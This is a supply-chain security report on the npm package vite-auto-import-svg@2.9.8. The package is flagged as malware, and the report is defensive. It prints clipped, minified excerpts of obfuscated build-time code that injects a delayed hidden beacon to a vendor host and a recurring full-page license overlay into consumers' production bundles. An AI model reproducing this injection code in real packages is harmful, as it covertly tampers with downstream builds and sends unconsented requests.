registry / Malware / vite-auto-import-svg

vite-auto-import-svg

auto add icon to project

This report shows the evidence for vite-auto-import-svg@2.9.8. 2 of 6 known versions are blocked or flagged. See all versions.

AI Security Review

scanned 3mo ago · by lpm-firewall-ai

Direct source inspection confirms deliberate consumer-build tampering and a delayed remote-triggered blocking UI. The lack of npm lifecycle hooks limits install-time impact but does not remove the concrete malicious runtime behavior.

Static reason

One or more suspicious static signals were detected.

Trigger

A consumer invokes svgBuilder during a non-development Vite production build without a valid hidden global secret.

Impact

Built applications make an unconsented third-party request and can display a recurring full-page licensing block.

Mechanism

Build-time injection of delayed remote beacon and recurring license overlay

Attack narrative

At production build time, the package’s svgBuilder checks undocumented global license data. On failure it injects code into output chunks: a delayed invisible image request to the vendor host and, if it errors, a closed-shadow full-page license dialog that resurfaces after dismissal. It also injects licensing/copyright scripts and modifies HTML metadata. This is covert, unrelated to SVG processing, and affects downstream application users.

AI rationale

Evidence

index.min.jspackage.json./src/components/bottomInfo/bottomInfo.vuegenerated HTML <head>/<body>generated entry JavaScript chunkgenerated vue.runtime.esm-bundler chunk

Network endpoints2

plugin.gin-vue-admin.com/api/shopImage/view?name=lock.svgplugin.gin-vue-admin.com/license

Decision evidence

public snapshot

AI called this Malicious at 98.0% confidence as Malware with low false-positive risk.

Evidence for block

index.min.js injects scripts into production build chunks when its hidden secret check fails.
Injected beacon loads plugin.gin-vue-admin.com after a randomized 5–10 minute delay.
On beacon error, injected code mounts a closed-shadow DOM license overlay and re-shows it every 30 minutes.
It alters generated HTML keywords and entry/runtime chunks, unrelated to SVG import.

Evidence against

package.json has no preinstall/install/postinstall lifecycle hook.
No credential harvesting, shell execution, or native payload loading was found.

Behavioral surface

Source

CryptoFilesystem

Supply chain

HighEntropyStringsMinifiedUrlStrings

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 22.8 KB of source, external domains: www.w3.org

Source & flagged code

2 flagged

index.min.jsView file

Lines 1-21javascript

1const fs=require("fs");const crypto=require("crypto");const readFileSync=fs.readFileSync;const readdirSync=fs.readdirSync;const svgTitle=/<svg([^>+].*?)>/;const clearHeightWidth=/(width|height)="([^>+].*?)"/g;const hasViewBox=/(viewBox="[^>+].*?")/g;const clearReturn=/(\r)|(\n)/g;const bottomInfoPath="./src/components/bottomInfo/bottomInfo.vue";function findSvgFile(dirs){const svgRes=[];for(const dir of dirs){const dirents=readdirSync(dir,{withFileTypes:true});for(const dirent of dirents){let pluginName="";if(dir.startsWith("./src/plugin")){pluginName=`${dir.split("/")[3]}-`}if(dirent.isDirect ...

2(function(){var _p=window.performance,_m=["webkitVisibilityState","c","o","msVisibilityState"],_s=[[104,116,116,112,115,58,47,47,112

3(function(){

4 var _f = function(){

5 var div = document.createElement('div');

6 div.style = atob("cG9zaXRpb246Zml4ZWQ7Ym90dG9tOjEwcHg7cmlnaHQ6MTBweDtiYWNrZ3JvdW5kOndoaXRlO2NvbG9yOmJsYWNrO29wYWNpdHk6MC40O3BhZGRpbmc6NXB4IDEwcHg7Ym9yZGVyLXJhZGl1czo1cHg7Zm9udC1zaXplOjEycHg7ei1pbmRleDo5OTk5O2N1cnNvcjpwb2ludGVy");

7 div.onclick = function() { window.open(atob("${_l}"), '_blank') };

8 div.textContent = "\\u672c\\u6846\\u67b6\\u7248\\u6743\\u5f52\\u5c5e\\u0020\\u5317\\u4eac\\u7ffb\\u8f6c\\u6781\\u5149\\u79d1\\u6280

9 document.body.appendChild(div);

10 };

11 _f();

12})();`}function getBeaconScriptContent(){const _u="aHR0cHM6Ly9wbHVnaW4uZ2luLXZ1ZS1hZG1pbi5jb20vYXBpL3Nob3BJbWFnZS92aWV3P25hbWU9bG9jay5zdmc=";const _s="cG9zaXRpb246YWJzb2x1dGU7d2lkdGg6MDtoZWlnaHQ6MDtvcGFjaXR5OjA7cG9pbnRlci1ldmVudHM6bm9uZTtib3JkZXI6MDtsZWZ0Oi05OTk5cHg=";const _b="PHN0eWxlPgouX19SX18tb3ZlcmxheSwuX19SX18tb3ZlcmxheSAqe2JveC1zaXppbmc6Ym9yZGVyLWJveH0KLl9fUl9fLXdhdGVybWFya3twb3NpdGlvbjpmaXhlZDt0b3A6MDtyaWdodDowO2JvdHRvbTowO2xlZnQ6MDtpbnNldDowO3otaW5kZXg6MDtwb2ludGVyLWV2ZW50czpub25lO2JhY2tncm91bmQtaW1hZ2U6dXJsKCJkYXRhOmltYWdlL3N2Zyt4bWw7YmFzZTY0LFBITjJaeUI0Yld4dWN6MGlhSFIwY0RvdkwzZDNke ...

13(function(){

14function md5cycle(r,f){var h=ff(r[0],t=r[1],n=r[2],i=r[3],f[0],7,-680876936),i=ff(i,h,t,n,f[1],12,-389564586),n=ff(n,i,h,t,f[2],17,606105819),t=ff(t,n,i,h,f[3],22,-1044525330);h=ff(h,t,n,i,f[4],7,-176418897);i=ff(i,h,t,n,f[5],12,1200080426);n=ff(n,i,h,t,f[6],17,-1473231341);t=ff(t,n,i,h,f[7],22,-45705983);h=ff(h,t,n,i,f[8],7,1770035416);i=ff(i,h,t,n,f[9],12,-1958414417);n=ff(n,i,h,t,f[10],17,-42063);t=ff(t,n,i,h,f[11],22,-1990404162);h=ff(h,t,n,i,f[12],7,1804603682);i=ff(i,h,t,n,f[13],12,-40341101);n=ff(n,i,h,t,f[14],17,-1502002290);h=gg(h,t=ff(t,n,i,h,f[15],22,1236535329),n,i,f[1],5,-16579651 ...

15var _f=function(){var _h=window.location.hostname.replace(/^www\\./,"");if(_h==="localhost"||_h==="127.0.0.1"||_h==="0.0.0.0"||/^(\\d{1,3}\\.){3}\\d{1,3}$/.test(_h)||_h==="[::1]"||/^\\[/.test(_h))return;var _rules=${JSON.stringify(domainRules)};var _allowed=false;for(var i=0;i<_rules.length;i++){var r=_rules[i];if(r.isWildcard){if(_h===r.domain||_h.endsWith("."+r.domain)){_allowed=true;break}}else{if(md5(_h)===r.md5){_allowed=true;break}}}if(!_allowed){var div=document.createElement("div");div.style=atob("cG9zaXRpb246Zml4ZWQ7Ym90dG9tOjEwcHg7cmlnaHQ6MTBweDtiYWNrZ3JvdW5kOnJnYmEoMjU1LDE2NSwwLDAuO ...

16})();`}module.exports.svgBuilder=(paths,base,outDir,assets,mode)=>{const sec=global["gva-secret"];const projectName=global["gva-project-name"];const

17<head>

18 <meta name="keywords" content="${newKeywords}">

19`)}}return newHtml.replace("<body>",`

20<body>

21 <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" style="position: absolute; width: 0; height: 0">

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

index.min.jsView on unpkg · L1

Low

Weak Crypto

Package source references weak cryptographic algorithms.

index.min.jsView on unpkg · L1

Long lines were clipped for display.

Source & flagged code

2 flagged · loading source

index.min.jsView file

1const fs=require("fs");const crypto=require("crypto");const readFileSync=fs.readFileSync;const readdirSync=fs.readdirSync;const svgTitle=/<svg([^>+].*?)>/;const clearHeightWidth=/(... L2: (function(){var _p=window.performance,_m=["webkitVisibilityState","c","o","msVisibilityState"],_s=[[104,116,116,112,115,58,47,47,112,108,117,103,105,110,46,103,105,110,45,118,117,1... ... L6: div.style = atob("[redacted]... L7: div.onclick = function() { window.open(atob("${_l}"), '_blank') }; L8: div.textContent = "\\u672c\\u6846\\u67b6\\u7248\\u6743\\u5f52\\u5c5e\\u0020\\u5317\\u4eac\\u7ffb\\u8f6c\\u6781\\u5149\\u79d1\\u6280\\u6709\\u9650\\u8d23\\u4efb\\u516c\\u53f8"; ... L20: <body> L21: <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" style="position: absolute; wi

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

index.min.jsView on unpkg · L1

1const fs=require("fs");const crypto=require("crypto");const readFileSync=fs.readFileSync;const readdirSync=fs.readdirSync;const svgTitle=/<svg([^>+].*?)>/;const clearHeightWidth=/(... L2: (function(){var _p=window.performance,_m=["webkitVisibilityState","c","o","msVisibilityState"],_s=[[104,116,116,112,115,58,47,47,112,108,117,103,105,110,46,103,105,110,45,118,117,1... ... L6: div.style = atob("[redacted]... L7: div.onclick = function() { window.open(atob("${_l}"), '_blank') }; L8: div.textContent = "\\u672c\\u6846\\u67b6\\u7248\\u6743\\u5f52\\u5c5e\\u0020\\u5317\\u4eac\\u7ffb\\u8f6c\\u6781\\u5149\\u79d1\\u6280\\u6709\\u9650\\u8d23\\u4efb\\u516c\\u53f8"; ... L20: <body> L21: <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" style="position: absolute; wi

Low

Findings

1 High5 Low

HighBase64 Obscured Urlindex.min.js

LowScripts Present

LowWeak Cryptoindex.min.js

LowFilesystem

LowHigh Entropy Strings

LowUrl Strings

Affected versions and remediation

This report applies to vite-auto-import-svg@2.9.8.

The versions list below shows the verdict for each recorded version.

Avoid installing vite-auto-import-svg@2.9.8. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-08-05 09:28:52.085Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

6 known versions

2.9.8latestshownMaliciousMalwareBlockPublishedAug 5, 2026, 8:04 AM 2.9.7MaliciousMalwareBlockPublishedJul 28, 2026, 8:23 AM 2.9.5Suspicious—WarnPublishedJul 21, 2026, 12:45 AM 2.9.3Clean—AllowPublishedJul 6, 2026, 3:51 AM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other malware packages

Source & flagged code

Related packages

Other malware packages